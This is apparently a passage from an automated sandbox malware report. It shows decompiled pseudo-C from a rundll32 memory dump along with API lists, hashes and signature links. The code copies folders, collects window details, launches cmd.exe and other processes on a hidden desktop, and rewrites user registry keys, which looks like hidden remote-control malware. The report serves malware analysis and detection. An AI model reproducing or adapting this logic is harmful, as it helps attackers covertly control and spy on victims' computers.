						_t145 = lstrlenW(_t118);
						E00FC1000(_t150 + 0x478, _t118, _t145 + _t145);
						 *((short*)(_t150 + 0x484 + _t145 * 2)) = 0x5c;
						_t142 =  *(_t150 + 0x69c);
						_t88 = _t150 + 0x486 + _t145 * 2;
						 *((intOrPtr*)(_t150 + 0x24)) = _t88;
						_t151 = _t150 + 0xc;
						 *_t88 = 0;
						if( *((intOrPtr*)(_t151 + 0x688)) == 0 && _t142 != 0) {
							 *_t142 =  *_t142 | CreateDirectoryW(_t118, 0);
						}
						_t76 = FindFirstFileW(_t151 + 0x274, _t151 + 0x20);
						 *(_t151 + 0x1c) = _t76;
						if(_t76 == 0) {
							goto L36;
						} else {
							_t119 =  *((intOrPtr*)(_t151 + 0x694));
							_t146 =  *((intOrPtr*)(_t151 + 0x68c));
							_t91 = lstrcatW;
							do {
								if(( *(_t151 + 0x20) & 0x00000010) == 0) {
									if(_t146 != 0) {
										 *_t146 =  *_t146 +  *((intOrPtr*)(_t151 + 0x40));
										_t91 = lstrcatW;
										asm("adc [esi+0x4], ecx");
									}
									if( *((intOrPtr*)(_t151 + 0x688)) == 0) {
										 *((short*)( *((intOrPtr*)(_t151 + 0x14)))) = 0;
										 *_t91(_t151 + 0x274, _t151 + 0x4c);
										 *((short*)( *((intOrPtr*)(_t151 + 0x18)))) = 0;
										lstrcatW(_t151 + 0x47c, _t151 + 0x4c);
										_t103 = CopyFileW(_t151 + 0x278, _t151 + 0x47c, 0);
										if(_t142 != 0) {
											 *_t142 =  *_t142 | _t103;
										}
										if(_t103 != 0 && ( *(_t151 + 0x20) & 0x00000007) != 0) {
											SetFileAttributesW(_t151 + 0x47c, 0x80);
										}
									}
									if(_t119 != 0) {
										 *_t119( *((intOrPtr*)(_t151 + 0x69c)), _t146);
										_t151 = _t151 + 8;
									}
								} else {
									if( *(_t151 + 0x4c) != 0x2e) {
										 *((short*)( *((intOrPtr*)(_t151 + 0x14)))) = 0;
										 *_t91(_t151 + 0x274, _t151 + 0x4c);
										 *((short*)( *((intOrPtr*)(_t151 + 0x18)))) = 0;
										lstrcatW(_t151 + 0x47c, _t151 + 0x4c);
										_push(_t148);
										_push( *((intOrPtr*)(_t151 + 0x69c)));
										_push(_t119);
										_push(_t142);
										_push(_t146);
										_push( *((intOrPtr*)(_t151 + 0x69c)));
										E00FC3AA0(_t151 + 0x288, _t151 + 0x480);
										_t151 = _t151 + 0x18;
									}
								}
								_t93 = FindNextFileW( *(_t151 + 0x20), _t151 + 0x20);
								_t91 = lstrcatW;
							} while (_t93 != 0);
							return FindClose( *(_t151 + 0x1c));
						}
					} else {
						_t7 = _t144 - 1; // -1
						_t135 = _t7;
						if(_t135 <= 0) {
							goto L16;
						} else {
							_t117 =  &(_t140[_t135]);
							while( *_t117 != 0x5c) {
								_t135 = _t135 - 1;
								_t117 = _t117 - 2;
								if(_t135 > 0) {
									continue;
								} else {
									goto L16;
								}
							}
							_t10 =  &(_t117[1]); // 0x2
							_t120 = _t10;
							if(_t120 == 0) {
								goto L16;
							}
							_t147 = 0;
							if( *_t148 <= 0) {
								L15:
								_t144 =  *(_t149 + 0x14);
								goto L16;
							}
							_t143 = _t148 + 4;
							while(1) {
								_t76 = lstrcmpiW(_t120,  *_t143);
								if(_t76 == 0) {
									goto L36;
								}
								_t147 = _t147 + 1;
								_t143 =  &(_t143[1]);
								if(_t147 <  *_t148) {
									continue;
								}
								_t140 =  *(_t149 + 0x1c);
								goto L15;
							}
							goto L36;
						}
					}
				}
			}

0x00fc3aaa
0x00fc3aac
0x00fc3ab1
0x00fc3ab5
0x00fc3abe
0x00fc3d4d
0x00fc3d4d
0x00fc3acc
0x00fc3acd
0x00fc3ad3
0x00fc3ada
0x00fc3adc
0x00fc3ae2
0x00fc3b35
0x00fc3b42
0x00fc3b47
0x00fc3b52
0x00fc3b55
0x00fc3b5d
0x00fc3b61
0x00fc3b6b
0x00fc3b74
0x00fc3b82
0x00fc3b91
0x00fc3b9d
0x00fc3ba5
0x00fc3bac
0x00fc3bb1
0x00fc3bb5
0x00fc3bb8
0x00fc3bc2
0x00fc3bd0
0x00fc3bd0
0x00fc3bdf
0x00fc3be5
0x00fc3beb
0x00000000
0x00fc3bf1
0x00fc3bf1
0x00fc3bf8
0x00fc3bff
0x00fc3c04
0x00fc3c09
0x00fc3c7b
0x00fc3c87
0x00fc3c89
0x00fc3c8e
0x00fc3c8e
0x00fc3c99
0x00fc3ca1
0x00fc3cb1
0x00fc3cb9
0x00fc3cce
0x00fc3ce2
0x00fc3cea
0x00fc3cec
0x00fc3cec
0x00fc3cf0
0x00fc3d06
0x00fc3d06
0x00fc3cf0
0x00fc3d0e
0x00fc3d18
0x00fc3d1a
0x00fc3d1a
0x00fc3c0b
0x00fc3c11
0x00fc3c1d
0x00fc3c2d
0x00fc3c35
0x00fc3c4a
0x00fc3c4c
0x00fc3c4d
0x00fc3c5b
0x00fc3c5c
0x00fc3c5d
0x00fc3c5e
0x00fc3c6c
0x00fc3c71
0x00fc3c71
0x00fc3c11
0x00fc3d26
0x00fc3d2e
0x00fc3d2e
0x00000000
0x00fc3d3d
0x00fc3ae8
0x00fc3ae8
0x00fc3ae8
0x00fc3aed
0x00000000
0x00fc3aef
0x00fc3aef
0x00fc3af2
0x00fc3af8
0x00fc3af9
0x00fc3afe
0x00000000
0x00fc3b00
0x00000000
0x00fc3b00
0x00fc3afe
0x00fc3b02
0x00fc3b02
0x00fc3b07
0x00000000
0x00000000
0x00fc3b09
0x00fc3b0e
0x00fc3b31
0x00fc3b31
0x00000000
0x00fc3b31
0x00fc3b10
0x00fc3b13
0x00fc3b16
0x00fc3b1e
0x00000000
0x00000000
0x00fc3b24
0x00fc3b25
0x00fc3b2b
0x00000000
0x00000000
0x00fc3b2d
0x00000000
0x00fc3b2d
0x00000000
0x00fc3b13
0x00fc3aed
0x00fc3ae2

APIs

GetFileAttributesW.KERNEL32 ref: 00FC3AB5
lstrlenW.KERNEL32 ref: 00FC3ACD
lstrcmpiW.KERNEL32(00000002,?), ref: 00FC3B16
lstrlenW.KERNEL32(?), ref: 00FC3B7C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC3BCA
FindFirstFileW.KERNEL32(?,?), ref: 00FC3BDF
CopyFileW.KERNEL32(?,?,00000000), ref: 00FC3CE2
SetFileAttributesW.KERNEL32(?,00000080), ref: 00FC3D06
FindNextFileW.KERNEL32(00000010,00000010), ref: 00FC3D26
FindClose.KERNEL32(?), ref: 00FC3D3D

Strings

., xrefs: 00FC3C0B

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$Find$Attributeslstrlen$CloseCopyCreateDirectoryFirstNextlstrcmpi
String ID: .
API String ID: 1249353174-248832578
Opcode ID: 4a40be3d9a42ff46814d4780bc0513993a03230619460385e6a79a918a038678
Instruction ID: afdf4904f5137ee53953288b1dd0bc70746d02628e08d0d70902df675dba9c0a
Opcode Fuzzy Hash: 4a40be3d9a42ff46814d4780bc0513993a03230619460385e6a79a918a038678
Instruction Fuzzy Hash: FE716C715083469BD725DF24DA46FABB7E9AFC8750F05892EE48A83110EB31DA08DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3D50 Relevance: 12.1, APIs: 8, Instructions: 86
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC3D50(WCHAR* __ecx, WCHAR* __edx, signed int _a4, signed int _a8) {
				struct _WIN32_FIND_DATAW _v596;
				char _v1114;
				short _v1116;
				char _v1634;
				short _v1636;
				short* _v1640;
				short* _v1644;
				signed int _t38;
				signed int _t41;
				short* _t42;
				void* _t63;
				short* _t67;
				WCHAR* _t76;
				void* _t81;
				signed int _t83;
				void* _t85;

				_t85 = (_t83 & 0xfffffff8) - 0x66c;
				_t76 = __edx;
				lstrcpyW( &_v1636, __ecx);
				_t38 = _a4;
				_t67 =  &_v1634 + _t38 * 2;
				_v1644 = _t67;
				 *_t67 = 0x2a;
				 *((short*)(_t85 + 0x18 + _t38 * 2)) = 0x5c;
				 *((short*)(_t85 + 0x1c + _t38 * 2)) = 0;
				lstrcpyW( &_v1116, _t76);
				_t41 = _a8;
				_t81 = 0;
				 *((short*)(_t85 + 0x220 + _t41 * 2)) = 0x5c;
				_t42 =  &_v1114 + _t41 * 2;
				_v1640 = _t42;
				 *_t42 = 0;
				_t63 = FindFirstFileW( &_v1636,  &_v596);
				if(_t63 == 0) {
					L7:
					return _t81;
				}
				do {
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						 *_v1644 = 0;
						lstrcatW( &_v1636,  &(_v596.cFileName));
						 *_v1640 = 0;
						lstrcatW( &_v1116,  &(_v596.cFileName));
						if(CopyFileW( &_v1636,  &_v1116, 0) != 0) {
							_t81 = _t81 + 1;
						}
					}
				} while (FindNextFileW(_t63,  &_v596) != 0);
				FindClose(_t63);
				goto L7;
			}

0x00fc3d56
0x00fc3d6b
0x00fc3d6d
0x00fc3d6f
0x00fc3d76
0x00fc3d7e
0x00fc3d87
0x00fc3d8c
0x00fc3d91
0x00fc3d9f
0x00fc3da1
0x00fc3dab
0x00fc3dad
0x00fc3db5
0x00fc3dba
0x00fc3dbe
0x00fc3dd4
0x00fc3dd8
0x00fc3e51
0x00fc3e59
0x00fc3e59
0x00fc3de0
0x00fc3de8
0x00fc3df0
0x00fc3e00
0x00fc3e08
0x00fc3e1b
0x00fc3e34
0x00fc3e36
0x00fc3e36
0x00fc3e34
0x00fc3e46
0x00fc3e4b
0x00000000

APIs

lstrcpyW.KERNEL32 ref: 00FC3D6D
lstrcpyW.KERNEL32 ref: 00FC3D9F
FindFirstFileW.KERNEL32(?,?), ref: 00FC3DCE
lstrcatW.KERNEL32(?,?), ref: 00FC3E00
lstrcatW.KERNEL32(?,?), ref: 00FC3E1B
CopyFileW.KERNEL32(?,?,00000000), ref: 00FC3E2C
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FC3E40
FindClose.KERNEL32(00000000), ref: 00FC3E4B

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: FileFind$lstrcatlstrcpy$CloseCopyFirstNext
String ID:
API String ID: 124746945-0
Opcode ID: bfe2ff05cb03ae2ad02a310c99a9e8fc490d6d1a92a96f63b86eeb1408057d1a
Instruction ID: 039bffe420ae821f5a249b059fbf0c65feb5d6558bb5cc781120ba485d8345b1
Opcode Fuzzy Hash: bfe2ff05cb03ae2ad02a310c99a9e8fc490d6d1a92a96f63b86eeb1408057d1a
Instruction Fuzzy Hash: F731307150434A9BC721DFA8D985E9BB7ECEF88714F00482EA545C7151EA30E609CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4820 Relevance: 65.1, APIs: 32, Strings: 5, Instructions: 373
stringthreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00FC4820(void* __ecx, long __edx, void* _a4, intOrPtr _a8) {
				void* _v4;
				signed int _v8;
				char _v100;
				void* _v104;
				void* _v108;
				short _v524;
				short _v1020;
				short _v1028;
				short _v1044;
				char _v1348;
				short _v1540;
				short _v1548;
				short _v1644;
				char _v1652;
				short _v1704;
				struct _STARTUPINFOW _v1780;
				struct _PROCESS_INFORMATION _v1800;
				char _v1808;
				char _v1820;
				char _v1872;
				struct HINSTANCE__* _v1876;
				void* _v1880;
				struct _STARTUPINFOW _v1956;
				struct _SECURITY_ATTRIBUTES* _v1960;
				struct _PROCESS_INFORMATION _v1976;
				struct _SECURITY_ATTRIBUTES* _v1980;
				long _v1984;
				intOrPtr _v1988;
				struct HINSTANCE__* __ebx;
				long __edi;
				void* __esi;
				void* _t167;
				long _t200;
				void* _t201;
				struct HKL__* _t202;
				void* _t248;
				void* _t255;
				void* _t262;
				struct HWND__* _t264;
				void* _t277;
				void* _t278;

				_t278 = _t277 - 0x7c4;
				_t253 = __edx;
				if(__ecx > 0x786) {
					_t248 = __ecx - 0x787;
					__eflags = _t248;
					if(_t248 == 0) {
						GetWindowRect(GetDesktopWindow(),  &_v1976);
						_push(_v1976.dwThreadId);
						_push(_v1976.hThread);
						_push(_v1976.dwProcessId);
						_push(_v1976.hProcess);
						_push( *0xfd76c6 & 0x0000ffff);
						_push( *0xfd76c4 & 0x0000ffff);
						_push( *0xfd76c2 & 0x0000ffff);
						_push( *0xfd76c0 & 0x0000ffff);
						_push( *0xfd76be & 0x0000ffff);
						_push( *0xfd76bc & 0x0000ffff);
						_push( *0xfd76ba & 0x0000ffff);
						_push( *0xfd76b8 & 0x0000ffff);
						_push( *0xfd76b6 & 0x0000ffff);
						_push( *0xfd76b4 & 0x0000ffff);
						_push( *0xfd76b2 & 0x0000ffff);
						_push( *0xfd76b0 & 0x0000ffff);
						_push( *0xfd76ae & 0x0000ffff);
						_push( *0xfd76ac & 0x0000ffff);
						_push( *0xfd76aa & 0x0000ffff);
						_push( *0xfd76a8 & 0x0000ffff);
						_push( *0xfd76a6 & 0x0000ffff);
						_push( *0xfd76a4 & 0x0000ffff);
						_push( *0xfd76a2 & 0x0000ffff);
						_push( *0xfd76a0 & 0x0000ffff);
						_push( *0xfd748a & 0x0000ffff);
						E00FC1200( &_v1348, "max: %d : %d\r\n0: %d : %d\r\n1: %d : %d\r\n2: %d : %d\r\n3: %d : %d\r\n4: %d : %d\r\n5: %d : %d\r\n6: %d : %d\r\n7: %d : %d\r\n8: %d : %d\r\n9: %d : %d\r\nrect: %d : %d : %d : %d\r\n",  *0xfd7488 & 0x0000ffff);
						_t278 = _t278 + 0x70;
						_t167 = lstrlenA( &_v1348);
						__eflags =  *0xfd672c;
						_t262 = _t167;
						if( *0xfd672c != 0) {
							__eflags = _t262;
							if(_t262 != 0) {
								_t167 = E00FC11D0(_t262);
								_t255 = _t167;
								__eflags = _t255;
								if(_t255 != 0) {
									_t167 = E00FC1000(_t255,  &_v1348, _t262);
									_t278 = _t278 + 0xc;
									EnterCriticalSection(0xfd6714);
									 *0xfd6708 = 5;
									 *0xfd670d = _t262;
									 *0xfd6709 = _t255;
									goto L216;
								}
							}
						}
						goto L217;
					} else {
						__eflags = _t248 != 0x62;
						if(_t248 != 0x62) {
							goto L217;
						} else {
							_push( *0xfd7754);
							_t264 = WindowFromPoint(0xfd7750->x);
							SendMessageTimeoutA(_t264, 0x50, 0, _t253, 2, 0x3e8,  &_v1984);
							_t200 = GetWindowThreadProcessId(_t264, 0);
							__eflags = _t200;
							if(_t200 == 0) {
								_t201 = _t200 | 0xffffffff;
								__eflags = _t201;
								 *0xfd63f8 = _t201;
								return _t201;
							} else {
								_t202 = GetKeyboardLayout(_t200);
								 *0xfd63f8 = _t202;
								return _t202;
							}
						}
					}
				} else {
					if(__eflags == 0) {
						_push( *0xfd7754);
						__ebx = WindowFromPoint( *0xfd7750);
						__esi = LocalAlloc(0, 0x1000);
						__eflags = __esi;
						if(__esi != 0) {
							__eax = 0;
							 *__esi = __ax;
							__eax =  &_v1548;
							__eax = GetClassNameW(__ebx,  &_v1548, 0x64);
							__edi = lstrcatW;
							__eflags = __eax;
							if(__eax != 0) {
								 &_v1548 = lstrcatW(__esi,  &_v1548);
								__eax = lstrcatW(__esi, 0xfcf304);
							}
							__eax =  &_v1044;
							__eax = GetWindowTextW(__ebx,  &_v1044, 0x64);
							__eflags = __eax;
							if(__eax != 0) {
								 &_v1044 = lstrcatW(__esi,  &_v1044);
								__eax = lstrcatW(__esi, 0xfcf304);
							}
							__eax =  &_v1984;
							__eax = GetWindowThreadProcessId(__ebx,  &_v1984);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = _v1984;
								__edx =  &_v524;
								_push(0x104);
								__eax = E00FC9960(_v1984,  &_v524);
								__esp =  &(__esp[1]);
								__eflags = __eax;
								if(__eax != 0) {
									 &_v524 = lstrcatW(__esi,  &_v524);
									__eax = lstrcatW(__esi, 0xfcf304);
								}
							}
							__eax = lstrlenW(__esi);
							__edi = __eax;
							__edi = __eax + __eax;
							__eflags =  *0xfd672c;
							if( *0xfd672c != 0) {
								__eflags = __edi;
								if(__edi != 0) {
									__ecx = __edi;
									__ebx = E00FC11D0(__edi);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = E00FC1000(__ebx, __esi, __edi);
										EnterCriticalSection(0xfd6714);
										 *0xfd6708 = 6;
										 *0xfd670d = __edi;
										 *0xfd6709 = __ebx;
										goto L216;
									}
								}
							}
						}
						goto L217;
					} else {
						__ecx = __ecx + 0xfffffa51;
						__eflags = __ecx - 0x85;
						if(__ecx > 0x85) {
							L217:
							return _t167;
						} else {
							__eax =  *(__ecx + 0xfc54c8) & 0x000000ff;
							switch( *((intOrPtr*)(__eax * 4 +  &M00FC5444))) {
								case 0:
									L43();
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__ecx = 1;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										_push(_t236);
										_push(_t270);
										_push(_t261);
										_t240 = 0;
										_push(__edx);
										_t258 = _t247;
										while(1) {
											_t203 = FindWindowW( *0xfd67c8,  *0xfd67cc);
											 *0xfd6398 = _t203;
											if(_t203 != 0 || _t258 == 0) {
												break;
											}
											Sleep(0x1f4);
											_t240 = _t240 + 1;
											if(_t240 < 0xa) {
												continue;
											} else {
												_t203 =  *0xfd6398; // 0x0
											}
											break;
										}
										_t241 = 0;
										asm("o16 nop [eax+eax]");
										while(1) {
											_t204 = FindWindowExW(_t203, 0,  *0xfd67d0, 0);
											_v104 = _t204;
											if(_t204 != 0) {
												_t242 = 0;
												__eflags = 0;
												goto L12;
											}
											if(_t258 != 0) {
												Sleep(0x1f4);
												_t241 = _t241 + 1;
												if(_t241 < 0xa) {
													_t203 =  *0xfd6398; // 0x0
													continue;
												}
											}
											L15:
											 *0xfd63b4 = 0;
											_t243 = 0;
											__eflags = 0;
											while(1) {
												_t206 = FindWindowW( *0xfd67ac, 0);
												 *0xfd63b4 = _t206;
												__eflags = _t206;
												if(_t206 != 0) {
													GetWindowRect(_t206, 0xfd63a4);
													break;
												}
												__eflags = _t258;
												if(_t258 != 0) {
													Sleep(0x1f4);
													_t243 = _t243 + 1;
													__eflags = _t243 - 0xa;
													if(_t243 < 0xa) {
														continue;
													} else {
													}
												}
												break;
											}
											_t244 = 0;
											__eflags = 0;
											do {
												_t208 = FindWindowW( *0xfd67d8, 0);
												__eflags = _t208;
												if(_t208 == 0) {
													L27:
													 *0xfd63a0 = 0;
													goto L28;
												} else {
													_t233 = FindWindowExW(_t208, 0,  *0xfd67dc, 0);
													__eflags = _t233;
													if(_t233 == 0) {
														goto L27;
													} else {
														_t234 = FindWindowExW(_t233, 0,  *0xfd67e0, 0);
														__eflags = _t234;
														if(_t234 == 0) {
															goto L27;
														} else {
															_t235 = FindWindowExW(_t234, 0,  *0xfd67e4, 0);
															 *0xfd63a0 = _t235;
															__eflags = _t235;
															if(_t235 == 0) {
																L28:
																__eflags = _t258;
																if(_t258 != 0) {
																	goto L29;
																}
															}
														}
													}
												}
												break;
												L29:
												Sleep(0x1f4);
												_t244 = _t244 + 1;
												__eflags = _t244 - 0xa;
											} while (_t244 < 0xa);
											_t209 =  *0xfd6398; // 0x0
											__eflags = _t209;
											if(_t209 != 0) {
												PostMessageA(_t209, 0x1a, 0,  *0xfd6b10);
											}
											__eflags =  *0xfd7730;
											if( *0xfd7730 == 0) {
												_t227 = RegOpenKeyExA(0x80000001,  *0xfd6b7c, 0, 0xf003f,  &_v108);
												__eflags = _t227;
												if(_t227 == 0) {
													_v104 = 0x14;
													RegQueryValueA(_v108, 0, 0xfd7730,  &_v104);
													RegSetValueA(_v108, 0, 1,  *0xfd6b84, 0);
													RegCloseKey(_v108);
												}
											}
											_t211 = RegOpenKeyExA(0x80000001,  *0xfd6b80, 0, 0xf003f,  &_v108);
											__eflags = _t211;
											if(_t211 == 0) {
												_t269 = 0;
												_t215 = RegEnumKeyA(_v108, 0,  &_v100, 0x64);
												__eflags = _t215;
												if(_t215 == 0) {
													do {
														lstrcatA( &_v100,  *0xfd6b88);
														_t221 = RegOpenKeyExA(_v108,  &_v100, 0, 0xf003f,  &_v104);
														__eflags = _t221;
														if(_t221 == 0) {
															RegSetValueA(_v104, _t221, 1, 0xfcf2da, _t221);
															RegCloseKey(_v104);
														}
														_t269 = _t269 + 1;
														_t223 = RegEnumKeyA(_v108, _t269,  &_v100, 0x64);
														__eflags = _t223;
													} while (_t223 == 0);
												}
												RegCloseKey(_v108);
											}
											__eflags =  *0xfd6398; // 0x0
											_t22 = __eflags != 0;
											__eflags = _t22;
											return 0 | _t22;
											goto L239;
										}
										while(1) {
											L12:
											_t205 = FindWindowExW(_t204, 0,  *0xfd67a8,  *0xfd67d4);
											 *0xfd639c = _t205;
											__eflags = _t205;
											if(_t205 != 0) {
												goto L15;
											}
											__eflags = _t258;
											if(_t258 != 0) {
												Sleep(0x1f4);
												_t204 = _v104;
												_t242 = _t242 + 1;
												__eflags = _t242 - 0xa;
												if(_t242 < 0xa) {
													continue;
												}
											}
											goto L15;
										}
										goto L15;
									}
									goto L239;
								case 1:
									 &_v1820 = lstrcpyA( &_v1820,  *0xfd6b20);
									__eax =  &_v1976;
									_v1956.lpReserved = 0;
									__eax =  &_v1956;
									_v1956.cb = 0x44;
									asm("xorps xmm0, xmm0");
									_v1956.lpDesktop = "d06ed635";
									__eax =  &_v1820;
									asm("movlpd [esp+0x5c], xmm0");
									asm("movlpd [esp+0x6c], xmm0");
									asm("movlpd [esp+0x74], xmm0");
									asm("movlpd [esp+0x7c], xmm0");
									asm("movlpd [esp+0x84], xmm0");
									asm("movlpd [esp+0x8c], xmm0");
									asm("movlpd [esp+0x94], xmm0");
									asm("movups [esp+0x44], xmm0");
									__eax = CreateProcessA(0,  &_v1820, 0, 0, 0, 0, 0, 0,  &_v1956,  &_v1976);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = _v1976.hProcess;
										__eflags = __eax;
										if(__eax != 0) {
											__eax = CloseHandle(__eax);
										}
										__eax = _v1976.hThread;
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax = CloseHandle(__eax);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 2:
									 &_v1044 = lstrcpyW( &_v1044, "C:\Windows\system32\cmd.exe");
									__eax =  &_v1976;
									_v1956.lpReserved = 0;
									__eax =  &_v1956;
									_v1956.cb = 0x44;
									asm("xorps xmm0, xmm0");
									_v1956.lpDesktop = L"d06ed635";
									__eax =  &_v1044;
									asm("movlpd [esp+0x5c], xmm0");
									asm("movlpd [esp+0x6c], xmm0");
									asm("movlpd [esp+0x74], xmm0");
									asm("movlpd [esp+0x7c], xmm0");
									asm("movlpd [esp+0x84], xmm0");
									asm("movlpd [esp+0x8c], xmm0");
									asm("movlpd [esp+0x94], xmm0");
									asm("movups [esp+0x44], xmm0");
									__eax = CreateProcessW(0,  &_v1044, 0, 0, 0, 0, 0, 0,  &_v1956,  &_v1976);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = _v1976.hProcess;
										__eflags = __eax;
										if(__eax != 0) {
											__eax = CloseHandle(__eax);
										}
										__eax = _v1976.hThread;
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax = CloseHandle(__eax);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 3:
									__eax =  &_v1984;
									_push( &_v1984);
									_push(0);
									_push(0);
									_push(E00FC33B0);
									goto L111;
								case 4:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 5:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 6:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 7:
									__eax = E00FC19A0();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									__esp = __esp - 0x6e8;
									_push(__ebx);
									_push(__ebp);
									_push(__esi);
									__eax =  &(_v1780.dwX);
									_v1780.dwX = 0;
									__ebx = 0;
									_v1780.dwY = 4;
									_v1780.dwYSize = 4;
									_v1780.dwXCountChars = 2;
									__eax = RegOpenKeyExA(0x80000001,  *0xfd6b14, 0, 0xf013f,  &(_v1780.dwX));
									__eflags = __eax;
									if(__eax != 0) {
										_v1780.dwX = 0;
									} else {
										 &(_v1780.dwY) =  &(_v1780.dwXSize);
										__eax =  &(_v1780.dwYSize);
										__eax = RegQueryValueExA(_v1780.dwX,  *0xfd6b18, 0,  &(_v1780.dwYSize),  &(_v1780.dwXSize),  &(_v1780.dwY));
										__eflags = __eax;
										if(__eax != 0) {
											L46:
											__eax =  &(_v1780.dwXCountChars);
											RegSetValueExA(_v1780.dwX,  *0xfd6b18, 0, 4,  &(_v1780.dwXCountChars), 4) =  ~__eax;
											asm("sbb ebx, ebx");
											__ebx =  &(__ebx->i);
										} else {
											__eflags = _v1780.dwXSize - 2;
											__ebx = 0 | _v1780.dwXSize != 0x00000002;
											__eflags = __ebx;
											if(__ebx != 0) {
												goto L46;
											}
										}
									}
									__eax =  &_v1548;
									__esi = GetWindowsDirectoryW( &_v1548, 0x104);
									__eflags = __esi;
									if(__esi == 0) {
										L65:
										_pop(__esi);
										_pop(__ebp);
										__eax = 0;
										__eflags = 0;
										_pop(__ebx);
										__esp =  &(__esp[0x1ba]);
										return 0;
									} else {
										 &_v1548 = lstrcatW( &_v1548,  *0xfd67f4);
										__esi = __esi + 0xd;
										__eflags = __esi;
										if(__esi == 0) {
											goto L65;
										} else {
											__esi = lstrcpyW;
											__eax = 0;
											_v1028 = __ax;
											 &_v1548 =  &_v1028;
											lstrcpyW( &_v1028,  &_v1548) =  &(_v1780.hStdInput);
											__eax = E00FC10D0( &(_v1780.hStdInput), 0, 0x44);
											_v1780.hStdInput.cb = 0x44;
											 &_v1652 = lstrcpyW( &_v1652, L"d06ed635");
											__eax =  &_v1652;
											_v1780.hStdError =  &_v1652;
											 &(_v1780.dwFillAttribute) =  &(_v1780.hStdInput);
											__eax =  &_v1028;
											__ebp = CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &(_v1780.hStdInput),  &(_v1780.dwFillAttribute));
											__eflags = __ebp;
											if(__ebp != 0) {
												__ecx = _v1780.dwFlags;
												__eflags = __ecx;
												if(__ecx != 0) {
													__eax = CloseHandle(__ecx);
												}
												__eax = _v1780.dwFillAttribute.hProcess;
												__eflags = __eax;
												__esi = _v1780.dwYCountChars;
												__esi =  !=  ? __eax : _v1780.dwYCountChars;
												__eflags = __esi;
												if(__esi == 0) {
													__ecx = 1;
													L1();
												} else {
													__eax =  *0xfd6384; // 0x0
													__eflags = __eax;
													if(__eax != 0) {
														L56:
														_push(__esi);
														_push(__eax);
														__imp__AssignProcessToJobObject();
													} else {
														_push(__eax);
														_push(__eax);
														__imp__CreateJobObjectW();
														 *0xfd6384 = __eax;
														__eflags = __eax;
														if(__eax != 0) {
															goto L56;
														}
													}
													__eax = ResumeThread(__esi);
													__ecx = 1;
													L1();
												}
												__eflags = __ebx;
												if(__ebx == 0) {
													L62:
													__eax = _v1780.dwX;
													__eflags = __eax;
													if(__eax != 0) {
														__eax = RegCloseKey(__eax);
													}
												} else {
													__eax = _v1780.dwX;
													__eflags = __eax;
													if(__eax != 0) {
														__ecx =  &(_v1780.dwXSize);
														__eax = RegSetValueExA(__eax,  *0xfd6b18, 0, 4,  &(_v1780.dwXSize), _v1780.dwY);
														goto L62;
													}
												}
											}
											__eax = __ebp;
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1ba]);
											return __ebp;
										}
									}
									goto L239;
								case 8:
									E00FC19A0() = E00FC1D40();
									CloseDesktop( *0xfd6388) = E00FC16C0(_a8, 0);
									Sleep(0x3e8);
									 *0xfd63e8 = 0;
									ExitThread(0);
								case 9:
									__eax = E00FC1D40();
									__eax = E00FC16C0(_a8, 0);
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
